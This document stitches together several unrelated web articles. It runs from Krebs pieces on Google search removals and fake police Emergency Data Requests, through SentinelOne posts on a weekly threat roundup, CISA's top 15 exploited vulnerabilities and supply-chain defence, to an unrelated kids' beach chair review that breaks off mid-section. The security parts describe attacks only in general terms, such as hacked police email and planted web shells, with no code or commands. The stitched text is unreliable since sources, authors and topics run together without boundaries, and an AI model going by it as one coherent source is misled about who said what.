You Can Now Ask Google to Remove Your Phone Number, Email or Address from Search Results

Google said this week it is expanding the types of data people can ask to have removed from search results, to include personal contact information like your phone number, email address or physical address. The move comes just months after Google rolled out a new policy enabling people under the age of 18 (or a parent/guardian) to request removal of their images from Google search results.

Google has for years accepted requests to remove certain sensitive data such as bank account or credit card numbers from search results. In a blog post on Wednesday, Google’s Michelle Chang wrote that the company’s expanded policy now allows for the removal of additional information that may pose a risk for identity theft, such as confidential log-in credentials, email addresses and phone numbers when it appears in Search results.

“When we receive removal requests, we will evaluate all content on the web page to ensure that we’re not limiting the availability of other information that is broadly useful, for instance in news articles,” Chang wrote. “We’ll also evaluate if the content appears as part of the public record on the sites of government or official sources. In such cases, we won’t make removals.”

While Google’s removal of a search result from its index will do nothing to remove the offending content from the site that is hosting it, getting a link decoupled from Google search results is going to make the content at that link far less visible. According to recent estimates, Google enjoys somewhere near 90 percent market share in search engine usage.

KrebsOnSecurity decided to test this expanded policy with what would appear to be a no-brainer request: I asked Google to remove search result for BriansClub, one of the largest (if not THE largest) cybercrime stores for selling stolen payment card data.

BriansClub has long abused my name and likeness to pimp its wares on the hacking forums. Its homepage includes a copy of my credit report, Social Security card, phone bill, and a fake but otherwise official looking government ID card.

The login page for perhaps the most bustling cybercrime store for stolen payment card data.

Briansclub updated its homepage with this information in 2019, after it got massively hacked and a copy of its customer database was shared with this author. The leaked data — which included 26 million credit and debit card records taken from hacked online and brick-and-mortar retailers — was ultimately shared with dozens of financial institutions.

TechCrunch writes that the policy expansion comes six months after Google started allowing people under 18 or their parents request to delete their photos from search results. To do so, users need to specify that they want Google to remove “Imagery of an individual currently under the age of 18” and provide some personal information, the image URLs and search queries that would surface the results. Google also lets you submit requests to remove non-consensual explicit or intimate personal images from Google, along with involuntary fake pornography, TechCrunch notes.

This post will be updated in the event Google responds one way or the other, but that may take a while: Google’s automated response said: “Due to the preventative measures being taken for our support specialists in light of COVID-19, it may take longer than usual to respond to your support request. We apologize for any inconvenience this may cause, and we’ll send you a reply as soon as we can.”

Update: 10:30 p.m. ET: An earlier version of this story incorrectly stated that people needed to show explicit or implicit threats regarding requests to remove information like one’s phone number, address or email address from a search result. A spokesperson for Google said “there is no requirement that we find the content to be harmful or shared in a malicious way.”

The Good, the Bad and the Ugly in Cybersecurity – Week 18

The Good

As new insight into some of the most dangerous Russian state-sponsored APTs come to light, such as the recent Industroyer2 malware, it is refreshing to see efforts to hold these attackers to account for the damage they have caused. This week, the US State Department Rewards for Justice Program announced they are seeking information behind the Russian GRU officers attributed to the Sandworm APT group.

At this time, the public is unable to assess how successful this program has been. However, in this case, the program is posting a reward of up to $10 million – a sum that would surely attract the attention of those with such information.

It’s also great to see the program allowing information transfer through properly encrypted channels, such as Signal, helping to protect the identity of those sharing their knowledge.

The program offers rewards for “information leading to the identification or location of any person who, while acting at the direction or under the control of a foreign government, participates in malicious cyber activities against U.S. critical infrastructure”. Therefore, this reward also applies to crimeware groups (such as ransomware) that intentionally damage critical infrastructure.

The Bad

Inevitably, ransomware remains active across the threat landscape. This week, there were two noteworthy events to highlight.

First, multiple incoming reports said the American Dental Association (ADA) was impacted by a ransomware attack. Interestingly, the lesser known “Black Basta” ransomware group claimed to be the source of the attack.

As we have seen with many ransomware groups, they continue to double-extort victims by the encryption of systems and data, plus slowly releasing stolen data publicly. Public exposure of sensitive data can be catastrophic for some organizations, while for others, the mere cost of getting operations back to normal can be so high as to put an organization out of business entirely, as happened recently to Lincoln College.

On the subject of educational institutions and ransomware, this week Austin Peay State University posted an alert over Twitter, warning students to shutdown systems as the university was experiencing an active ransomware attack. Despite the unfortunate nature of the incident, on the bright side the use of social media to alert affected parties appeared to be an effective way of gaining a lot of attention and hopefully limiting the damage.

Meanwhile, as reported by our colleagues at PwC, the number of ransomware victims continued to climb throughout 2021. We predict this trend will continue into and throughout the remainder of 2022.

The Ugly

Earlier this week an internet and telecommunication outage impacted a large number of French service providers in multiple regions. French media reported that Paris, Lyon, Bordeaux, Reims and Grenoble and others had all suffered simultaneous outages. Reports have suggested that the outages were due to coordinated acts of vandalism.

According to various sources, a number of underground cables had been cut, disrupting landline, mobile and broadband services. Fibre network network connections linking Paris to various other cities had also been damaged. Rival service provider, Orange, said that they had not been targeted in the attacks.

No group or individuals have claimed responsiblity for the attacks, and authorities remain open-minded as to who is behind them and what their motivations might be. Possibilities range from politically-motivated sabotage relating to the conflict in Ukraine, business rivalry, criminal extortion and hacktivism. In some cases, vandalism is just vandalism, with no other objective in mind. Given the many unknowns in this curious case, the DGSI, the French internal intelligence service, is assisting local police with the investigation.

At the time of writing, affected customers remain in the dark as to when the disrupted internet and telecom services will be fully restored.

Enterprise Security Essentials | Top 15 Most Routinely Exploited Vulnerabilities 2022

From remote code execution and privilege escalation to security bypasses and path traversal, software vulnerabilities are a threat actor’s stock-in-trade for initial access and compromise. In the past 12 months, we’ve seen a number of new flaws, including Log4Shell, ProxyShell, and ProxyLogon, being exploited in attacks against enterprises. These and other known bugs, some revealed as far back as 2017, continue to be routinely abused in environments where organizations have failed to properly inventory and patch. As CISA released its latest update on the most commonly exploited vulnerabilities, we take a look at each of the top 15 most routinely exploited bugs being used against businesses today.

1. Log4Shell (CVE-2021-44228)

Occupying top spot is the notorious flaw in the Apache Java logging library, Log4j, that was first revealed at the close of 2021. This remote code execution vulnerability is widely exploited due to the prevalence of the Log4j library in web applications. It came as a surprise to many organizations and network administrators to even learn that they had this dependency in their software stack.

As details of the vulnerability emerged, responsible organizations scrambled to understand their exposure and apply patches in a timely manner, a process complicated by the fact that several early attempts to patch the bug were soon revealed to be inadequate by researchers. Nevertheless, the presence of Log4Shell at the top of the list of most routinely exploited bugs shows that there are many organizations out there that still haven’t taken appropriate action.

For more details on this vulnerability, see here. For help with mitigation, see here.

Resource Center | Log4j2 | Log4Shell
Stay Informed with Hunting Queries, Demos, and More

2. Zoho ManageEngine ADSelfService Plus (CVE-2021-40539)

Zoho ManageEngine ADSelfService Plus, up to and including version 6113, was found to be vulnerable to a REST API authentication bypass and subsequent remote code execution. The bug, patched in September 2021, allows attackers to use specially-crafted Rest API URLs to bypass authentication due to an error in normalizing the URL before attempting validation. Having bypassed the authentication filter, attackers are able to exploit endpoints and perform attacks such as arbitrary command execution.

The bug is easy to weaponize, and the software is common in the enterprise, with the flaw present in the product’s default configuration. This combination provides high-value for attackers and it’s no surprise that threat actors are actively seeking out and exploiting enterprises with vulnerable versions of this software.

For more information and mitigation advice, see here.

3 – 5. ProxyShell (CVE-2021-31207, CVE-2021-34473, CVE-2021-34523)

ProxyShell consists of three separate flaws in Microsoft Exchange email server, allowing security feature bypass, RCE and elevation of privilege. When chained together in exposed environments, ProxyShell enables an attacker to establish persistence and execute malicious PowerShell commands. Successful exploitation allows threat actors to take full control of vulnerable Microsoft Exchange email servers.

CISA notes that these bugs, first revealed in August 2021, reside within the Microsoft Client Access Service (CAS), a service which typically runs on port 443 in Microsoft Internet Information Services (IIS), and is commonly exposed to the internet so that users can access email from mobile devices and web browsers.

As with many of these CVEs, Proof of Concept code along with documentation is publicly available, making this collection of vulnerabilities highly attractive to attackers.

For more information and mitigation on ProxyShell, see the advisories here, here, and here.

6 – 9. ProxyLogon (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065)

It’s been a tough twelve months or so for organizations running Microsoft Exchange server. Prior to ProxyShell last August came four actively-exploited zero days, collectively known as ProxyLogon in March 2021. These four vulnerabilities occupy the next four positions from 6 to 9 of the 15 most routinely exploited bugs.

ProxyLogon affects Microsoft Exchange 2013, 2016, and 2019. The flaws were initially discovered after being found leveraged in the wild by the HAFNIUM Chinese-based APT, but they have since gone on to be exploited by a wide-range of other threat actors given that the bugs exist in default configurations of widely-deployed enterprise software. Malicious actors are known to use automated tools to actively scan for and identify unpatched servers.

The four CVEs relate to untrusted connections to the Exchange server on port 443 and can be exploited without user interaction. ProxyLogon allows threat actors to bypass authentication, read emails, and deploy malware in enterprise networks. In the initial attacks by the HAFNIUM group, webshells of various types were deployed and additional tools were used to facilitate lateral movement, persistent access, and remote manipulation. Open source tools such as PowerCAT, Nishang, 7zip, WinRAR, and Procdump were also utilized in the HAFNIUM campaigns.

For more details about ProxyLogon see here. For assistance with mitigation, see here.

10. Atlassian Confluence Server & Data Center (CVE-2021-26084)

CVE-2021-26084 is a critical severity security vulnerability that allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance. Confluence is a Wiki-style service widely deployed in enterprise environments. Disclosed in August 2021, the vulnerability was, and continues to be, actively exploited in the wild since it is exploitable by unauthenticated users regardless of configuration. Unfortunately, the initial disclosure went unheeded in many enterprises, and by September, USCYBERCOM were warning of ongoing mass exploitation.

The bug allows a threat actor to execute commands with the same permissions as the user running the service. While it was initially thought that the flaw was only exploitable by a user with a valid account on the system, it subsequently turned out that any unauthenticated user could trigger the vulnerability. Public exploit code exists and is actively being used by threat actors against vulnerable instances.

For more details and mitigation advice, see the advisory here.

11. VMware vSphere Client (CVE-2021-21972)

In February 2021, VMware disclosed that the vSphere Client (HTML5) contains a remote code execution vulnerability in a vCenter Server plugin, rating the vulnerability as Critical with a severity rating of 9.8.

VMware vSphere is a suite of server virtualization products for corporate infrastructure and includes ESXi hypervisor and vCenter management software. The software is commonly located on internal networks. Exploiting CVE-2021-21972 allows a malicious actor with network access to port 443 to execute commands with unrestricted privileges on the host operating system.

Mass scanning targeting vulnerable VMware vCenter servers was soon reported, and Proof of Concept code to exploit the vulnerability has been published online.

For more information and mitigation help, see the advisory here.

12. ZeroLogon (CVE-2020-1472)

Not all of the 15 most routinely exploited vulnerabilities were discovered last year; others continue to be exploited even though mitigations for them have long been available. Chief among these is the notorious ZeroLogon bug from August 2020. Revealed a month after Microsoft patched it, ZeroLogon is an elevation of privilege bug that revolves around a cryptographic flaw in Microsoft’s Active Directory Netlogon Remote Protocol (MS-NRPC). By exploiting the bug, an unauthenticated attacker can log on to servers that are using NT LAN Manager (NTLM).

The vulnerability lies in the fact that, in attempting to implement a custom encryption algorithm in MS-NRPC, Microsoft made a critical mistake such that the initialization vector (IV) is set to all zeros rather than a random number. Exploiting the vulnerability allows a remote attacker to forge an authentication token for Netlogon and to set the computer password of the domain controller to a known value. Malicious actors can leverage this vulnerability to compromise other devices on the network. Subsequently, researchers discovered other ways to operationalize Zerologon, including extracting all domain passwords.

Zerologon has been observed in the attack chain of ransomware actors such as Ryuk and multiple public POC exploits are available.

For more information on ZeroLogon see here. For help with mitigation, see here.

13. Microsoft Exchange Server (CVE-2020-0688)

Also first revealed in 2020, CVE-2020-0688 is another remote code execution vulnerability in Microsoft Exchange Server that occurs when the server fails to properly create unique keys at install time. According to the CVE, knowledge of the validation key allows an authenticated user with a mailbox to pass arbitrary objects to be deserialized by the web application, which runs as SYSTEM.

In September of 2020, CISA advised that Chinese-affiliated actors were exploiting CVE-2020-0688 for remote code execution to enable email collection of targeted networks. In July 2021 and again in February 2022, CISA further advised that Russian-affiliated threat actors were exploiting CVE-2020-0688 to escalate privileges and gain remote code execution on vulnerable Microsoft Exchange servers.

For more information on CVE-2020-0688 and help with mitigation, see here.

14. Pulse Secure Pulse Connect Secure (CVE-2019-11510)

CVE-2019-11510 is a vulnerability affecting Pulse Secure VPN appliances which allows threat actors to gain access to victim networks. An unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading vulnerability. This flaw has been exploited by both Chinese and Russian actors, and used in extended campaigns targeting COVID-19 research data during the recent pandemic.

Patches were released for this vulnerability in April 2019; however, multiple incidents have occurred where compromised AD credentials were used months after victim organizations patched their VPN appliance. CISA also says that it has responded to numerous incidents at U.S. Government and commercial entities where malicious cyber threat actors have exploited CVE-2019-11510.

15. Fortinet FortiOS and FortiProxy (CVE-2018-13379)

Four years in the wild and still making it into the top 15 most routinely exploited vulnerabilities, CVE-2018-13379 is a path traversal vulnerability in the FortiProxy SSL VPN web portal. On exploitation, the bug may allow a non-authenticated, remote attacker to download FortiProxy system files through specially crafted HTTP resource requests.

As you would expect from a vulnerability that has been exploited for over 4 years, it has a long and storied history and has been used to deploy ransomware as well as steal data. CISA has released several advisories over the years detailing its use by both Russian and Iranian state actors.

As recently as February 2022, SentinelLabs tracked Iranian-aligned threat actor TunnelVision as making good use of CVE-2018-13379, along with other vulnerabilities mentioned above like Log4Shell and ProxyShell, to target organizations.

For more information and mitigation advice on CVE-2018-13379, see the advisory here.


Successful enterprise security teams understand that old vulnerabilities never go away, and while the focus and the fire drills are often around the latest CVEs to hit the news, CISA’s annual list of most routinely exploited vulnerabilities offers a cautionary tale to us all: find the vulnerabilities in your software stack before threat actors do. It’s important to remember that from an attacker’s point of view, targeting old flaws remains a successful attack vector and is less work than discovering and developing new zero days, particularly when most critical flaws typically have publicly available Proof of Concept exploit code.

We hope that by bringing attention to this list, enterprise security teams will make renewed effort to ensure that they are not the next ones to suffer a compromise from an unpatched software dependency.

If you would like to see how SentinelOne can help your organization to defend against attacks of all kinds, contact us or request a free demo.

Fighting Fake EDRs With ‘Credit Ratings’ for Police

When KrebsOnSecurity recently explored how cybercriminals were using hacked email accounts at police departments worldwide to obtain warrantless Emergency Data Requests (EDRs) from social media firms and technology providers, many security experts called it a fundamentally unfixable problem. But don’t tell that to Matt Donahue, a former FBI agent who recently quit the agency to launch a startup that aims to help tech companies do a better job screening out phony law enforcement data requests — in part by assigning trustworthiness or “credit ratings” to law enforcement authorities worldwide.

A sample Kodex dashboard. Image:

Donahue is co-founder of Kodex, a company formed in February 2021 that builds security portals designed to help tech companies “manage information requests from government agencies who contact them, and to securely transfer data & collaborate against abuses on their platform.”

The 30-year-old Donahue said he left the FBI in April 2020 to start Kodex because it was clear that social media and technology companies needed help validating the increasingly large number of law enforcement requests domestically and internationally.

“So much of this is such an antiquated, manual process,” Donahue said of his perspective gained at the FBI. “In a lot of cases we’re still sending faxes when more secure and expedient technologies exist.”

Donahue said when he brought the subject up with his superiors at the FBI, they would kind of shrug it off, as if to say, “This is how it’s done and there’s no changing it.”

“My bosses told me I was committing career suicide doing this, but I genuinely believe fixing this process will do more for national security than a 20-year career at the FBI,” he said. “This is such a bigger problem than people give it credit for, and that’s why I left the bureau to start this company.”

One of the stated goals of Kodex is to build a scoring or reputation system for law enforcement personnel who make these data requests. After all, there are tens of thousands of police jurisdictions around the world — including roughly 18,000 in the United States alone — and all it takes for hackers to abuse the EDR process is illicit access to a single police email account.

Kodex is trying to tackle the problem of fake EDRs by working directly with the data providers to pool information about police or government officials submitting these requests, and hopefully making it easier for all customers to spot an unauthorized EDR.

Kodex’s first big client was cryptocurrency giant Coinbase, which confirmed their partnership but otherwise declined to comment for this story. Twilio confirmed it uses Kodex’s technology for law enforcement requests destined for any of its business units, but likewise declined to comment further.

Within their own separate Kodex portals, Twilio can’t see requests submitted to Coinbase, or vice versa. But each can see if a law enforcement entity or individual tied to one of their own requests has ever submitted a request to a different Kodex client, and then drill down further into other data about the submitter, such as Internet address(es) used, and the age of the requestor’s email address.

Donahue said in Kodex’s system, each law enforcement entity is assigned a credit rating, wherein officials who have a long history of sending valid legal requests will have a higher rating than someone sending an EDR for the first time.

“In those cases, we warn the customer with a flash on the request when it pops up that we’re allowing this to come through because the email was verified [as being sent from a valid police or government domain name], but we’re trying to verify the emergency situation for you, and we will change that rating once we get new information about the emergency,” Donahue said.

“This way, even if one customer gets a fake request, we’re able to prevent it from happening to someone else,” he continued. “In a lot of cases with fake EDRs, you can see the same email [address] being used to message different companies for data. And that’s the problem: So many companies are operating in their own silos and are not able to share information about what they’re seeing, which is why we’re seeing scammers exploit this good faith process of EDRs.”


As social media and technology platforms have grown over the years, so have the volumes of requests from law enforcement agencies worldwide for user data. For example, in its latest transparency report mobile giant Verizon reported receiving 114,000 data requests of all types from U.S. law enforcement entities in the second half of 2021.

Verizon said approximately 35,000 of those requests (~30 percent) were EDRs, and that it provided data in roughly 91 percent of those cases. The company doesn’t disclose how many EDRs came from foreign law enforcement entities during that same time period. Verizon currently asks law enforcement officials to send these requests via fax.

Validating legal requests by domain name may be fine for data demands that include documents like subpoenas and search warrants, which can be validated with the courts. But not so for EDRs, which largely bypass any official review and do not require the requestor to submit any court-approved documents.

Police and government authorities can legitimately request EDRs to learn the whereabouts or identities of people who have posted online about plans to harm themselves or others, or in other exigent circumstances such as a child abduction or abuse, or a potential terrorist attack.

But as KrebsOnSecurity reported in March, it is now clear that crooks have figured out there is no quick and easy way for a company that receives one of these EDRs to know whether it is legitimate. Using illicit access to hacked police email accounts, the attackers will send a fake EDR along with an attestation that innocent people will likely suffer greatly or die unless the requested data is provided immediately.

In this scenario, the receiving company finds itself caught between two unsavory outcomes: Failing to immediately comply with an EDR — and potentially having someone’s blood on their hands — or possibly leaking a customer record to the wrong person. That might explain why the compliance rate for EDRs is usually quite high — often upwards of 90 percent.

Fake EDRs have become such a reliable method in the cybercrime underground for obtaining information about account holders that several cybercriminals have started offering services that will submit these fraudulent EDRs on behalf of paying clients to a number of top social media and technology firms.

A fake EDR service advertised on a hacker forum in 2021.

An individual who’s part of the community of crooks that are abusing fake EDR told KrebsOnSecurity the schemes often involve hacking into police department emails by first compromising the agency’s website. From there, they can drop a backdoor “shell” on the server to secure permanent access, and then create new email accounts within the hacked organization.

In other cases, hackers will try to guess the passwords of police department email systems. In these attacks, the hackers will identify email addresses associated with law enforcement personnel, and then attempt to authenticate using passwords those individuals have used at other websites that have been breached previously.


Donahue said depending on the industry, EDRs make up between 5 percent and 30 percent of the total volume of requests. In contrast, he said, EDRs amount to less than three percent of the requests sent through Kodex portals used by customers.

KrebsOnSecurity sought to verify those numbers by compiling EDR statistics based on annual or semi-annual transparency reports from some of the largest technology and social media firms. While there are no available figures on the number of fake EDRs each provider is receiving each year, those phony requests can easily hide amid an increasingly heavy torrent of legitimate demands.

Meta/Facebook says roughly 11 percent of all law enforcement data requests — 21,700 of them — were EDRs in the first half of 2021. Almost 80 percent of the time the company produced at least some data in response. Facebook has long used its own online portal where law enforcement officials must first register before submitting requests.

Government data requests, including EDRs, received by Facebook over the years. Image: Meta Transparency Report.

Apple said it received 1,162 emergency requests for data in the last reporting period it made public — July – December 2020. Apple’s compliance with EDRs was 93 percent worldwide in 2020. Apple’s website says it accepts EDRs via email, after applicants have filled out a supplied PDF form. [As a lifelong Apple user and customer, I was floored to learn that the richest company in the world — which for several years has banked heavily on privacy and security promises to customers — still relies on email for such sensitive requests].

Twitter says it received 1,860 EDRs in the first half of 2021, or roughly 15 percent of the global information requests sent to Twitter. Twitter accepts EDRs via an interactive form on the company’s website. Twitter reports that EDRs decreased by 25% during this reporting period, while the aggregate number of accounts specified in these requests decreased by 15%. The United States submitted the highest volume of global emergency requests (36%), followed by Japan (19%), and India (12%).

Discord reported receiving 378 requests for emergency data disclosure in the first half of 2021. Discord accepts EDRs via a specified email address.

For the six months ending in December 2021, Snapchat said it received 2,085 EDRs from authorities in the United States (with a 59 percent compliance rate), and another 1,448 from international police (64 percent granted). Snapchat has a form for submitting EDRs on its website.

TikTok‘s resources on government data requests currently lead to a “Page not found” error, but a company spokesperson said TikTok received 715 EDRs in the first half of 2021. That’s up from 409 EDRs in the previous six months. Tiktok handles EDRs via a form on its website.

The current transparency reports for both Google and Microsoft do not break out EDRs by category. Microsoft says that in the second half of 2021 it received more than 25,000 government requests, and that it complied at least partly with those requests more than 90 percent of the time.

Microsoft runs its own portal that law enforcement officials must register at to submit legal requests, but that portal doesn’t accept requests for other Microsoft properties, such as LinkedIn or Github.

Google said it received more than 113,000 government requests for user data in the last half of 2020, and that about 76 percent of the requests resulted in the disclosure of some user information. Google doesn’t publish EDR numbers, and it did not respond to requests for those figures. Google also runs its own portal for accepting law enforcement data requests.

Verizon reports (PDF) receiving more than 35,000 EDRs from just U.S. law enforcement in the second half of 2021, out of a total of 114,000 law enforcement requests (Verizon doesn’t disclose how many EDRs came from foreign law enforcement entities). Verizon said it complied with approximately 91 percent of requests. The company accepts law enforcement requests via snail mail or fax.


AT&T says (PDF) it received nearly 19,000 EDRs in the second half of 2021; it provided some data roughly 95 percent of the time. AT&T requires EDRs to be faxed.

The most recent transparency report published by T-Mobile says the company received more than 164,000 “emergency/911” requests in 2020 — but it does not specifically call out EDRs. Like its old school telco brethren, T-Mobile requires EDRs to be faxed. T-Mobile did not respond to requests for more information.

Data from T-Mobile’s most recent transparency report in 2020. Image: T-Mobile.

Defending the Enterprise Against Digital Supply Chain Risk in 2022

Technology is an ever-changing landscape where we evolve and improve year over year much like the Moore’s Law theory with processor speeds. Cybersecurity, on the other hand, becomes more complicated and more diverse with the evolution of software and hardware vulnerabilities, which drives a larger and more complicated digital landscape for security professionals. According to Gartner, among the top seven trends in Cyber Security for 2022 is Digital Supply Chain Risk. Given the recent history of successful supply chain attacks, this should come as no surprise to CISOs and CIOs. The question is: how can you prepare your organization to effectively protect against a supply chain attack?

What Is A Supply Chain Attack?

Rather than attacking an organization directly, a software supply chain attack targets the vendors of apps and other code used by the organization. Typically, the bad actors will look to exploit some weakness in the vendor’s development cycle and attempt to inject malicious code into a signed and certified application.

By contaminating update servers or development tools, inserting code into executables, or simply replacing real packages with fake ones, adversaries can gain access to victims further along the supply chain.

A Brief History Of Supply Chain Attacks In The News

Here’s a quick breakdown of the most impactful supply chain attacks over the last decade or so.

RSA Security – 2011

  • Compromised RSA’s “seed warehouse” for SecurID tokens.
  • Allowing for the attacker to clone to break into other systems leveraging SecurID tokens.
  • Attack delivered via spearphish with attachment “2011 Recruitment plan.xls” from a HR partner org!
  • Used zero day Adobe Flash Player to drop a Poison Ivy RAT.

Target – 2013

  • A heating, ventilation, and air conditioning (HVAC) supplier allowed access into Target.
  • The hackers compromised Target’s server and placed the malware on POS devices across their entire store network.
  • Compromised over 40 million credit and debit cards.
  • 18.5 million in settlement claims and untold reputation damage. Even Target has estimated this has had over $200 million in impact.

CCleaner – March 2017

  • Hugely popular software (2BN total downloads by 2017) compromised to include a backdoor ‘ShadowPad’.
  • Piriform breached via stolen TeamViewer creds, then installed ShadowPad malware to infect software distribution systems.
  • Binaries were being legitimately signed!
  • Allowed the attacker to record keystrokes and included a password stealer.
  • 2.27M compromised downloads, with 1.65M communicated with CnC server.
  • 40 PCs targeted with 2nd stage infection.

ASUSTek Computer – 2019

  • ASUS Live Update Utility service delivered malware to 1000s of customers.
  • Impacted up to 500,000 computers.
  • Targeted 600 specific hardcoded MAC addresses.
  • Legitimate code signing certificate used.
  • Operation ShadowHammer had similarities to ShadowPad, group also linked to CCleaner attack.

SolarWinds – December 2020

  • SUNBURST malicious code deployed by SolarWinds Orion official updates.
  • Widely trusted software vendor with 300,000 customers.
  • Impacted some 18,000 customers.
  • Malware waits 12 days before executing and initiating to its C2.
  • 264 days from malware compilation, to detection in December.
  • High value targets including security vendor and US Gov.

Kaseya – July 2021

  • Kaseya VSA software used to deliver ransomware.
  • Compromised approx. 1500 customers.
  • Attackers leveraged two (known) vulnerabilities in the VSA software.
  • Financially motivated – $70M ransom.
  • Russia linked group REvil took credit leveraging their ransomware; also, behind June 2021’s JBS ransomware attack.

More examples can be found in our previous post here.

Based on these previous attacks, we can determine the following are the primary focus for threat actors:

  • Targeting insecure software for building systems or large-scale updating platforms.
  • Targeting custom in-house development or specialized code/firmware.
  • Using stolen certificates to sign apps, making themselves look like a trusted 3rd-party product or a product developed in house.
  • Exploiting vulnerable devices, from network gear to IoT and POS, allowing for the shipment and movement of pre-installed malware.

How To Protect Against Supply Chain Attacks?

As we’ve learned from the trends of supply chain attacks, we need to encourage strong security practices from our software vendors and developers, then prepare for those who are not meeting those standards.

For the organization looking to protect against supply chain attacks, there are a number of action points that should be implemented.

First of all, be sure to enforce strong code application integrity policies to allow only authorized apps to run. This can be accomplished by leveraging SSO Authorization Code Grant or leverage an Application Control platform for your organization.

Next, make sure that you leverage a strong Endpoint Detection and Response (EDR) solution that can automatically detect and remediate suspicious activities in real time. When looking into an EDR solution, make sure it’s meeting your company’s minimum criteria and view the MITRE ATT&CK Evaluations when comparing products. Some crucial questions to take into consideration are:

  • How does the EDR solution protect your assets? Does it require an Agent? Is it Agentless? If you don’t have an agent, what features are you missing leveraging an Agentless EDR solution?
  • What Devices or Operating Systems (OS) are not Covered by the EDR Security Solution? How many different types of agents/policies are needed to expand to these different OS’s?
  • Does this EDR Solution expand to Cloud Platforms?
  • Does this EDR software provide easy integrations with other systems?
  • How much automation does the EDR provide out of the box?
  • How long can I store data with this EDR solution? Most organizations need a minimum of two to three months of logs for audit purposes.
  • If your company has a merger and acquisition, how complicated would it be to combine your EDR solution with theirs?

Aside from ensuring you have the right endpoint detection and response solution to meet your business needs, consider using an open and flexible security platform that can maximize your visibility. An Extended Detection & Response (XDR) platform can offer flexibility, visibility and peace of mind knowing you have a single place to go in the event of a cyber security attack. XDR also offers better ROI and can make your company more cost efficient by finding trends and bad practices within your organization.

Of course, even with the right technology in place, it’s still vital to be prepared for data loss or denial of service with secure backups and regular redeployment testing. While ransomware attackers have evolved their extortion tactics to beyond mere denial of service, effective backups remain necessary due to the possibility of local disasters or just general hardware failure. You should follow a standard that meets the risk level you’re comfortable with, whether that is the 3-2-1 backup rule or 3-2-1-1-0 or 4-3-2. Stick with a plan and make sure you’re securing these backups to prevent tampering, then have a schedule or audit where you test these backups.

Drive a Cybersecurity-Centric Culture

Besides making sure your technology stack is up to scratch for a modern enterprise, there are other changes needed. It’s crucial to drive a Cybersecurity-Centric Culture in your company to make sure that your investment in technology reaches its full potential.

There has been plenty of good research into how to effectively implement a cybersecurity-first culture, but in essence it boils down to the following.

  • Empowering People—Cybersecurity culture empowers people with the sociological and psychological skills that are required to work with cybersecurity technology and processes.
  • Projecting cybersecurity meaning—Within the enterprise, the importance of the people, technology and processes of cybersecurity is understood. The consequences of ignoring cybersecurity’s technological and financial risk are addressed.
  • Establishing stakeholder partnership and collaboration of key players—A network of cybersecurity stakeholders is defined and managed. Stakeholders include employees, managers, government agencies, senior executives, boards of directors, technology providers, consulting providers, and education and training providers.
  • Providing an education and training road map—An appropriate education and training program that encompasses the people, technology and processes of cybersecurity is integrated and delivered.

Empower Security Hygiene for Developers

For the software vendors and developers needing to improve their security posture to prevent the opportunity of supply chain attacks, start considering the following options:

  • Maintain a secure infrastructure around update/build management.
    • Don’t delay on security patches for either OS/Software driven vulnerabilities.
    • Require mandatory integrity controls to ensure only trusted tools can run in your organization; investigate into implementing CISA Zero Trust Maturity Model.
    • Look into passwordless authentication and require Multi-Factor Authentication (MFA) for all admins.
  • If you haven’t already, build secure software updaters as part of your Secure Software Development Lifecycle (SSDLC).
    • Require SSL for update channels and implement certificate pinning.
    • Everything should be signed, including configuration files, scripts, XML Files, and packages.
    • Don’t allow your updater to accept generic input or commands, require digital signatures.
  • Develop an Incident Response (IR) plan for supply chain attacks, create a runbook and actually stress-test it with attack simulations.


Bad actors are always looking for an easy buck, with the least amount of resistance for the biggest opportunity, and supply chain attacks are still on the radar for these groups. The landscape is getting even more complicated with 9 out of 10 companies leveraging open-source software projects. Add to that the growing use of Internet of things (IoT) for cars and smart devices like appliances, door locks and thermostats, as well as the growth of IoT in healthcare and industrial/energy, and you have a never-ending expansion of the attack surface in almost every organization.

It is essential that organizations review their cybersecurity requirements, gain visibility into supply chain dependencies, and be prepared with modern tools and practices to help contain and prevent future supply chain attacks.

Want to know more about how SentinelOne can help? Contact us for more information, or request a free demo.

Tommy Bahama Kids Beach Chair

Summertime is right around the corner, and your little ones will be spending plenty of time outdoors. Make sure they’re prepared with quality kids’ beach chair. Tommy Bahama has you covered with their selection of beach chairs for kids.

These chairs are perfect for the beach, pool, or even the backyard. They’re lightweight and easy to carry, so your kids can take them anywhere. The chair also has a built-in cup holder, so they can keep their drinks close by. The Tommy Bahama Kids Beach Chair is available in a variety of fun, bright colors.

What is Tommy Bahama?

Tommy Bahama is a lifestyle brand that offers casual, sophisticated apparel and accessories for the whole family. The company was founded in 1993 and is headquartered in Seattle, Washington. Tommy Bahama is best known for its island-inspired clothing, furniture, and home decor. After all, the brand’s mission is to “bring the spirit of the islands to life.” Tommy Bahama products are available online and in retail stores across the United States.

The company offers various designs for kids’ beach chairs, each with its own unique features. The kids’ chairs are made from durable materials that can withstand the elements. The chairs are also easy to clean, so you don’t have to worry about getting dirty at the beach.

Best Tommy Bahama Kids Beach Chairs

Let’s look at some of the best Tommy Bahama kids’ beach chairs. All of those are easily available on Amazon, and you can be sure to find the perfect chair for your child at the right price.

Tommy Bahama 5 Position Classic Lay Flat Beach Chair

This Tommy Bahama beach chair is made from durable aluminum. Thanks to that, the chair is lightweight and easy to carry, making it perfect for the beach.

The chair has five different recline positions, so your child can find the perfect position for them. With this chair, it is even possible to lay completely flat, ideal for sunbathing or taking a nap.

The chair also has a cup holder, so your child can keep their drinks close by. The bar on the back of the chair doubles as a towel bar that keeps the beach towel off of the sand. That’s smart!

The Tommy Bahama 5 Position Classic Lay Flat Beach Chair is available in a variety of colors.

Tommy Bahama Hi-Boy 17″ Seat Height 4-Position Lace-Up Suspension Folding Backpack Beach Chair

This Tommy Bahama beach chair is a bit different from the others. It has a higher seat, making it perfect for taller kids or adults. The chair also has four different recline positions, so your child can be comfortable in any position.

The chair has a lace-up suspension system that makes it sturdy and comfortable. Other features of this beach are a drink holder and a storage pouch which is perfect for holding sunscreen, toys, or snacks.

Solid hardwood armrests are adjustable and provide added comfort. They are also safe, as they offer the patented no-pinch feature that protects fingers.

Like the previous kids’ beach chair, this one also includes a padded shoulder strap for easy carrying.

Tommy Bahama 5-Position Classic Lay Flat Folding Backpack Beach Chair

This Tommy Bahama beach chair seems to combine the features of the two previous chairs. However, there is one key difference: the low-seating option.

